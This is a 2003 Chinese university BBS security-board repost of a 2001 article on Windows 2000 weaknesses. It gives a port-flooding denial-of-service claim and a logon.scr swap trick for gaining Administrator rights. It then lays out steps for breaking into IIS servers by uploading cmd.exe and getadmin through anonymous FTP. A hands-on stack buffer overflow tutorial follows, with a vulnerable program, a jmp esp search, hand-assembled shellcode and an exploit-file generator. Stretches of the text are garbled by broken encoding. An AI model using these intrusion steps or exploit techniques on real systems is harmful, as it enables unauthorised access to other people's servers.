荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: haoa (好啊嘿), 信区: Security
标  题: WIN2000的漏洞
发信站: 荔园晨风BBS站 (Mon Oct 27 14:06:49 2003), 站内信件

WIN2000的漏洞


作者:starlight     发表时间:2001/11/14 01:33pm

在Windows 2000远程服务器上的cpu过载
  发送一连串的二进制中的0字符,到达Windows 2000中的任意一个端口,都可能
引起CPU的利用率达到100%。这样的端口包括了TCP中端口号为7,9,21,23,
7778和UDP中端口号为53,67,68,135,500,1812,1813,2535,3456的这些端
口。
  在Windows 2000远程服务器上的DOS操作系统的漏洞
  以Windows 2000作为操作平台的服务器作为远程控制台对远程访问进行控制。一
个远程的攻击者向该服务器发了一连串的攻击性代码,使服务器工作出现故障。在
此之后,如果系统通过自动重启后继续工作,那么很多 的攻击造成了远程服务器
不断的重新启动,直到重启的频度超出了系统的承受能力,系统崩溃。
另外:
1.
如果你有普通用户帐号,有个一个很简单的方法获取NT Administrator帐号:

先把c:\winnt\system32下的logon.scr改名为logon.old备份

然后把usrmgr.exe改名为logon.scr

然后重新启动

logon.scr是启动时加载的程序,重新启动后,不会出现以往的登陆密码输入界面,而
是用户管理器

这时他就有权限把自己加到Administrator组

不要忘记把文件名改回来啊!

2.
下面的技术适用于不重视NT网络安全的网站,

一些 http的技术也可以供较高级的人员参考

进入Win2K网络可以采取下面的步骤:

因为NT的IIS server的ftp一般都是允许anonymous匿名帐号进入的,有些
anonymous的帐号还有upload权限,我们就要攻击这类站点。因为如果不允许匿名帐
号,就可能造成明文密码在网上传输。用tcpspy的工具可以截获这 些密码。现在不
谈这些比较高级的技术。

正因为允许匿名帐号ftp登陆的设定,也给我们带来了突破NT server的机会。我们
用ftp登陆一个NT server,比如:xxx.xxx.xxx.xxx(示例名):

ftp xxx.xxx.xxx.xxx

Connected to xxx.xxx.xxx.xxx

220 2000svr Microsoft FTP Service (Version 5.0).

2000svr这个东西暴露了其NETbios名,那么在IIS的背景下,必然会有一个
IUSER_2000svr的用户帐号,属于Domain user组,这个帐号我们以后要用来获取
Administrator的权限

User (xxx.xxx.xxx.xxx none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 输入 guest@ 或者guest
对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置
密码。那么guest帐号就是一个可用的正确的用户帐号,虽然只属于Domain guest


在这种情况下我们就可以进NT server的ftp了。

现在,开始查找cgi-bin目录(或者scripts目录),进去以后,

把winnt下的cmd.execopy到cgi-bin,把getadmin和gasys.dll传上去到cgi-bin

然后输入:http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_SATURN

大约十多秒后屏幕显示:

CGI Error

这时有90%的可能是:你已经把IUSER_2000svr升级为Administrator,也就是任何访
问该web站的人都是管理员

Windows 2000缓冲区溢出入门

  我在互联网上阅读过许多关于缓冲区溢出的文章。其中的绝大多数都是基于
*NIX操作系统平台的。后来有幸拜读了ipxodi所著的《Windows系统下的堆栈溢出
》(已刊登在绿盟网络安全月刊2000年第三?谥校峙銮煽吹搅薐ason先生的《
Windows NT Buffer Overflow’s From Start to Finish》,得益匪浅。在翻译
Jason先生的文章时,由于我的机器安装了Windows 2000 Server,在调试原文程序
时发现细节略有出入。因此本文提供的有关源程序、动态链接库、偏移量等是以我
在自己机器上调试为准。(对不同版本的动态链接库,都需要编程者自己调试。)


  这篇文章应该属入门级。虽然比较简单,但对于Windows系统下的缓冲区溢出
具有一定的通用性。例如,堆栈溢出地址的确定,跳转指令的查找和使用,溢出执
行代码的编写,等等。只要发现Windows系 统下存在缓冲区溢出漏洞的程序,基本
上都可通过这些步骤进行攻击测试。但正如ipxodi所指出的,由于Windows下动态
链接库的版本更新较快,一定要根据编程者的实际平台进行调试。

Microsoft Visual C++ 6.0
Microsoft Windows 2000 Server (中文版,内部版本号:2195)

--[ 调试、测试过程

首先,写一个存在缓冲区溢出漏洞的应用程序。该程序可读取文件的内容,这样我
们就能通过修改被读取文件的内容来使程序溢出。;-) 在Visual C++开发环境中
创建一个新的控制台应用程序,选择”An Application that supports MFC”并单
击”Finish”。(注:其实并不一定非是MFC应用程序不可,只不过是我自己的习
惯而已。;-)))向这个应用程序中添加一些必要的代码,如下:

CWinApp theApp;

using namespace std;

void overflow(char* buff);

void overflow(char* buff)
{
CFile file;
CFileException er;
if(!file.Open(_T("overflow.txt"),CFile::modeRead,&er))
{
er.ReportError();
return;
}

int x = file.GetLength();
file.Read(buff,x);
}

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buff[10];
overflow(buff);
}
return nRetCode;
}

  现在先来分析一下上面这段C++代码,找一找哪里有漏洞。这是一个MFC控制
台应用程序,”main”函数与其它程序会有些不同,但工作机制基本一致。我们主
要分析该函数中”else”那段代码。首先 是第一行”char buff[10]”,定义了一
个10字符长的本地变量。我们都知道,本地变量的内存空间是在堆栈里分配的。(
如果你连这个都不知道,建议不要继续往下看了。:))然后是将buff变量作为参
数调用overflow函 数。好了,现在让我们分析overflow函数。首先是一个Cfile对
象,然后是一个CfileException对象。接下来会试图以读权限打开当前目录下的文
件”overflow.txt”。如果打开成功,则将该文件中的所有?谌荻寥〉絙uff数组变
量中。发现了问题没有?buff变量只有10字符长。如果读取的文件内容长度是100
时会发生什么问题呢?对了,“缓冲区溢出”!而且是在堆栈中发生的缓冲区溢出
。在后面的测试中就 能看到,我们利用这个漏洞能做些什么!;)现在让我们创
建文本文件”overflow.txt”,并将它放到这个应用程序的project目录下。

在进行下一步前,先让我们探讨一下关于Windows NT/2000的内存结构。NT/2000的
每一个进程都在启动时分配了4GB(0xFFFFFFFF)的虚拟内存。其中的某些部份实
际上是由所有进程共享的,例如核心和设备驱动程序区域。但它们都会被映射到每
个进程的?槟獾刂房占淅铩J导噬厦挥薪谭峙涞?GB的物理内存,而是仅当需要时
才分配物理内存。因此每一个进程都有各自的4GB虚拟内存,编址范围从
0x00000000到0xFFFFFFFF。其中,0x00000000-0x0000FFFF?俏狽ULL指针分配而保
留的。访问该区域内存将导致“非法访问”错误。0x00010000-0x7FFEFFFF是用户
进程空间。EXE文件的映像被加载到其中(起始地址0x00400000),DLL(动态链接
库)也被加载到这?糠菘占洹H绻鸇LL或EXE的代码被装入到该范围的某些地址,就
能够被执行。访问该区域中没有代码装入的地址将导致“非法访问”错误。
0x7FFF0000-0x7FFFFFFF是保留区域,对此区域的任何访问都将导?隆胺欠ǚ梦省
贝砦蟆?x80000000-0xFFFFFFFF仅供操作系统使用。用于加载设备驱动程序和其它
核心级代码。从用户级应用程序(ring 3)访问此区域将导致“非法访问”错误。


现在回到”overflow.txt”文件。现在我们将向这个文本文件中不断添加字符,直
到弹出应用程序非法访问的系统对话框。在这里,填充什么字符是很重要的(原因
待会就知道了)。我选择小写字母”a”?刺畛湮谋疚募N颐且丫阑撼迩挥
?0字符长,那么先填充11个字符。(注意:以debug方式编译应用程序,否则结果
可能会有所不同。)咦?没反应。我们继续填充字符……直到填充了18个字符应用
 程序才崩溃。但这个崩溃对我们的用处还不大。继续填充!当字符串长度为24时
,运行程序并观察弹出的对话框信息:“”0x61616161”指令引用的”
0x61616161”内存。该内存不能为”written”。”我?氪蠹叶加Ω弥馈?x61”所
代表的ASCII码是什么吧?;)如果你的机器安装了Visual C++,单击“取消”按
钮就能够调试该应用程序。进入调试环境后,选择”view”菜单――”debug
windows”――”registers”,可打开寄存器窗口。如果你对汇编一窍不通,建议
先フ冶净惚嗟氖榭纯础T诩拇嫫鞔翱诶锘峥吹紼AX、EBS和EIP等寄存器的内容。
EIP当然是最重要的了。EIP的内容就是程?蛳乱徊剿葱兄噶畹牡刂贰N颐亲⒁
獾紼SP寄存器的值未被破坏,而且似乎离我们的buff变量不远。下一步我们需要找
出ESP的值是如何处理得到的。

现在开始会复杂些了(而这就是乐趣的源泉!:))。 在main函数的最后一行代
码处设置断点,因为我们只关心这里所发生的事情。现在启动调试器,并让程序无
故障运行到该断点。然后切换到反汇编窗口(按Alt+8,或单击”View”――”
debug windows”――”disassembly”)。另外还要打开内存窗口和寄存器窗口。


0040155B 5F pop edi
0040155C 5E pop esi
0040155D 5B pop ebx
0040155E 83 C4 50 add esp,50h
00401561 3B EC cmp ebp,esp
00401563 E8 7E 00 00 00 call _chkesp (004015e6)
00401568 8B E5 mov esp,ebp
0040156A 5D pop ebp
0040156B C3 ret

以上这些东西是什么?汇编代码。如果你对汇编一点都不懂,我在这里做一些简单
的说明。第一行是”pop edi”。指令pop用于将仅次于堆栈顶端的数据移到其后的
指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆栈指针。一个pop指令移动
堆栈顶端的一个数据单元,在这里是DWORD(双字,4字节),到指?拇嫫髦校
⒔颜恢刚爰?(因为共移动了4字节)。在执行下一步前,让我们看一下ESP寄存
器。在内存窗口中输入ESP,就能得到ESP当前指向的地址和内容。看一下ESP指向
的内存地址中4个字节的内容 和EDI寄存器的内容。现在单步执行”pop.edi”,我
们能够看到EDI寄存器中填入了ESP所指向的内存地址的数值,同时ESP的数值也增
加了4。后面的两条指令是一样的,只不过寄存器不同罢了。单步执行它 们。跟着
的三行指令对本文没什么意义,所以在这里不作解释。单步执行到指令”mov esp,
 ebp”,该指令会将EBP的值赋给ESP寄存器。然后是指令”pop ebp”,这条指令
很重要。先让我们在内存窗口输入ESP,可以看到该内存地址有一串”0x61”(’
a’的16进制值)。因此0x61616161将被弹出到EBP寄存器中。单步执行该指令可以
检验我说的没错吧?;) 好了,虽然我说的没错,但好象我们还没能得到什么有
用的东西?现在到了最后一条指令”ret”。指令”ret”在汇编中是返回指令。它
是如何知道应该返回到哪里的呢?由当前位于堆栈顶端的数值决定。 这条指令如
果用pop指令表示的话可以表示为”pop eip”(虽然实际上你无法执行这条pop指
令;))。它从ESP所指向内存地址处弹出4字节内容,并赋给EIP寄存器(EIP寄存
器是32位指令指针)。这就意味着,不管EIP指向哪个内存地址,该地址处的指令
?芑岢晌乱惶踔噶睢N颐窃俅卧谀诖娲翱谥惺淙隕SP,看一下将要赋给EIP寄存
器的地址的指令是什么。其实我想此时大家都应该知道是4个字节长的0x61串。现
在让我们单步执行该指令,看到EIP的值为0 x61616161,也就是说下一指令地址为
0x61616161,但指令却显示为???(意为无效指令)。因此再单步执行指令将导致
“访问非法”错误。现在再看看ESP寄存器。它正确地指向了堆栈中的下一个数值
。也?褪撬担乱徊焦ぷ魇侨范ㄔ谑够撼迩晒σ绯觯‥IP=0x61616161)时,
ESP所指向的地址是否能够存放我们的溢出代码!我们在overflow.txt文件中再次
增加4个’a’(共28个’a’),并再次调试程序, 在执行到”ret”指令时观察
内存窗口和寄存器窗口,会发现执行”ret”指令后ESP所指向内存地址的内容为4
字节长的0x61串。Great!这意味着什么?!这个让大家自己想去吧。;)))

现在我再回过头来分析一下。我们刚才使用字符’a’(0x61)作为文本文件的填
充内容,以确定存在缓冲区溢出。由于EIP=0x61616161,当我们的程序访问试图
访问该地址处的指令时,会因为是无效指令 而导致系统出错。但如果所指向的地
址存在可执行代码时又如何呢?例如装入内存的DLL代码等。哈哈,这样的话就会
执行这些指令,从而可能做一些别人想像不到的事!;)

好了,到目前为止,我们已经能控制EIP的数值,也知道ESP指向的堆栈位置,和能
够向堆栈写入任意数据。那么下一步做什么呢?当然是找到使系统执行我们的溢出
代码的方法了。如果你看过ipxodi所著的 文章《Windows系统下的堆栈溢出》,就
会知道采用跳转指令(jmp esp)是最好不过的了。原因在这里就不再多讲,请大
家仔细阅读《Windows系统下的堆栈溢出》就清楚了。正如前面分析过的,这是因
为执行完ret指令后ESP正好能够指向我们的溢出代码!(……哦,找不 到,我没
分析过?在本文中查找单词”Great”吧,呵呵。)现在我们就要在应用程序的内
存空间中找到含有”jmp esp”指令的地址。首先当然是确定这条指令的机器码了
。怎么确定?这也要教?好吧,教就教吧。仅此一次,下不违例。;)其实方法很
简单,按以下步骤就可以了。先在Visual C++中创建新的应用程序。(当然还是控
制台程序,还是支持MFC,这是我的习惯。呵呵。)输入以下代码:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
return 0;
__asm jmp esp
}
return nRetCode;
}

好了,然后在Visual C++环境中设置正确的调试断点。哪里?对了,在“return
0;”处。接着运行程序,使其在断点处暂停运行。现在(选择“view”菜单——“
Debug Windows”——“Disassembly”)打开反汇编窗口,并在反汇编窗口中单击
鼠标右键,在右键弹出菜单中选择“Source Annotation”和“Code Bytes”。此
时,在内存地址列右侧、(jmp esp)指令列左侧的"FF E4"就是指令"jmp esp"的机
器码。如果需要找出其它汇编指令的机器码,基本上都可通过这种方法得到。

下一步是如何在我们的进程空间里找到这串机器码。也是非常简单的,只要修改一
下代码即可:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm jmp esp

#else

bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");

h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "< return 1;
}
we_loaded_it = true;
}

BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"< }
}
catch(...)
{
cout<<"END OF "< done = true;
}
}

if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}

也许你会奇怪,为什么不用Kernel32.dll呢?它不是更通用吗?我刚开始时也是在
动态链接库Kernel32的进程空间寻找”FF E4”,但居然一处也找不到!(而在
Windows NT 4中找到能至少6处!:(()后来我尝试在User32.dll中寻找,终于
找到了一处。运行后程序输出:

OPCODE found at 0x77e2e32a
END OF User32 MEMORY REACHED

注意,不同的动态链接库和版本,得到的结果可能会不一样。我的动态链接库
User32.dll版本为5.00.2180.1。现在用16进制文件编辑器(如Ultra Edit)打开
overflow.txt文本文件,在第21字符位置开始输入2A E3 E2 77。(为什么要在第
21字符位置?为什么要输入2A E3 E2 77?我不想解释了,如果你连这都看不懂,
建议你不要再研究缓冲区溢出了!)我们先保留后面的四个’a’字符。使用调试
器运行程序,执行到”ret”命令处停下来,看看下一条指令是否为”jmp esp”,
而且执行”jmp esp”前esp的内容是否为0x61616161。如果一切正确,OK, so far
 so good. ;)让我们来进行更刺激的事情――编写缓冲区溢出后的执行代码。


首先,你必须确保所有需要的动态链接库都被加载到进程空间中。一种方法是利用
该程序本身调用的动态链接库;另一种方法是在溢出代码中加载该动态链接库。(
在ipxodi的《Windows系统下的堆栈溢出?分杏邢晗附樯堋#┰谡饫镂也捎玫谝恢址
椒āN裁矗恳蛭虻ヂ铩#唬?P>呵呵,为了编程简单,同时本文的主要目的是
教学,重点在于原理,所以代码执行时仅是弹出一个消息框。如果想编写更具攻击
性或更复杂的执行代码,可参阅ipxodi所著的《Windows系统下的堆栈溢出》?吐躺
耪淼摹陡呒痘撼迩绯觥贰2还蠊愿海?P>首先我们要找到如何在代
码中调用MessageBox函数。根据Windows API文档,MessageBox依赖于user32.lib
,也就是说它位于user32.dll动态链接库中。启动depends工具,打开将要被溢出
的应用程序,可以发现它将加载user32.dll。然后寻找MessageBox函数的内存位置
。 在我机器的user32.dll中,MessageBoxA(ASCII版本)函数的偏移量(Entry
Point)为0x00033D68。User32.dll在内存中的起始地址为0x77DF0000。将两者相
加即可得到MessageBox函数的绝对内存地址为0x77E23D68。所以我们需要在汇编代
码中正确设置堆栈并调用0x77E23D68。根?荻許teve Fewer的winamp缓冲区溢出代
码学习和研究,我写出来的汇编代码如下:

push ebp
push ecx
mov ebp,esp
sub esp,54h
xor ecx,ecx
mov byte ptr [ebp-14h],'S'
mov byte ptr [ebp-13h],'u'
mov byte ptr [ebp-12h],'c'
mov byte ptr [ebp-11h],'c'
mov byte ptr [ebp-10h],'e'
mov byte ptr [ebp-0Fh],'s'
mov byte ptr [ebp-0Eh],'s'
mov byte ptr [ebp-0Dh],cl
mov byte ptr [ebp-0Ch],'W'
mov byte ptr [ebp-0Bh],'e'
mov byte ptr [ebp-0Ah],' '
mov byte ptr [ebp-9],'G'
mov byte ptr [ebp-8],'o'
mov byte ptr [ebp-7],'t'
mov byte ptr [ebp-6],' '
mov byte ptr [ebp-5],'I'
mov byte ptr [ebp-4],'t'
mov byte ptr [ebp-3],'!'
mov byte ptr [ebp-2],cl
push ecx
lea eax,[ebp-14h]
push eax
lea eax,[ebp-0Ch]
push eax
push ecx
mov dword ptr [ebp-18h],0x 77E23D68
call dword ptr[ebp-18h]
mov esp,ebp
pop ecx
pop ebp

以上汇编代码将调用位于0x77E23D68的MessageBox函数,使其弹出标题为”
Success”、消息内容为”We Got It!”的消息框。必须要注意的是,我们不能使
用0(NULL)作为字符串中的字符,解决方法请参考ipxodi所著的《Windows系统下
的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。现在,我们要得到这?┗惚
啻氲幕髀搿7椒ㄇ懊嬉丫樯芄耍辉僦馗础W詈笳淼玫降幕髀胛
?P>\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\
xc6\x45
\xee\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73
\x88\x4d
\xf3\xc6\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6
\x45\xf8
\x6f\xc6\x45\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6
\x45\xfd
\x21\x88\x4d\xfe\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68
\x3d
\xe2\x77\xff\x55\xe8\x8b\xe5\x59\x5d

如果现在将这输入到overflow.txt文件中,将能够成功溢出,并弹出我们定制的消
息框。但当单击”确定”按钮后,应用程序将崩溃。要避免出现这种情况,我们需
要调用exit函数以正常关闭程序。查阅Wi ndows API文档可知,需要导入msvcrt.
lib,因此肯定在msvcrt.dll动态链接库中。使用depends工具会发现应用程序加载
了msvcrtd.dll而不是msvcrt.dll,这是因为我们应用程序现在使用的是调试版本
。但两者?惶嗲稹svcrtd.dll在内存中的起始地址为0x10200000,exit函数
的偏移量(Entry Point)为0x0000AF90,则exit函数的绝对地址为0x1020AF90。
故汇编代码为:

push ebp
push ecx
mov ebp,esp
sub esp,10h
xor ecx,ecx
push ecx
mov dword ptr [ebp-4],0x1020AF90
call dword ptr[ebp-4]
mov esp,ebp
pop ecx
pop ebp

以上代码以0为参数调用exit函数,使应用程序以代码0退出运行。整理后得到的机
器码如下:

\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff
\x55\xfc\x8b\xe5\x59\x5d

现在将上面两串机器码输入到overflow.txt文件中(以第25个字节为起始位置。这
次不用问为什么了吧?!如果还不懂,复习一下前面的内容!)

如果你嫌麻烦,可以使用以下程序(怎么样,够朋友了吧?;)):

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buffer[20];
//0x77e2e32a //user32.dll JMP ESP
char eip[] = "\x2a\xe3\xe2\x77";
char sploit[] =
"\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc
6\x45\xee"
"\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x8
8\x4d\xf3\xc6"
"\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf
8\x6f\xc6\x45"
"\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x2
1\x88\x4d\xfe"
"\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d\xe2\x77\xf
f\x55\xe8\x8b"
"\xe5\x59\x5d\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xa
f\x20\x10\xff"
"\x55\xfc\x8b\xe5\x59\x5d";

for(int x=0;x<20;x++)
{
buffer[x] = 0x90;
}

CFile file;
file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite);

file.Write(buffer,20);
file.Write(eip,strlen(eip));
file.Write(sploit,strlen(sploit));

file.Close();
}

return nRetCode;
}

在确保所有文件的内容和位置都准确无误后,运行被溢出程序…………哈哈,我们
的消息框弹出来了!!!单击”确定”按钮,程序正常关闭!!!

--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.44.227]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店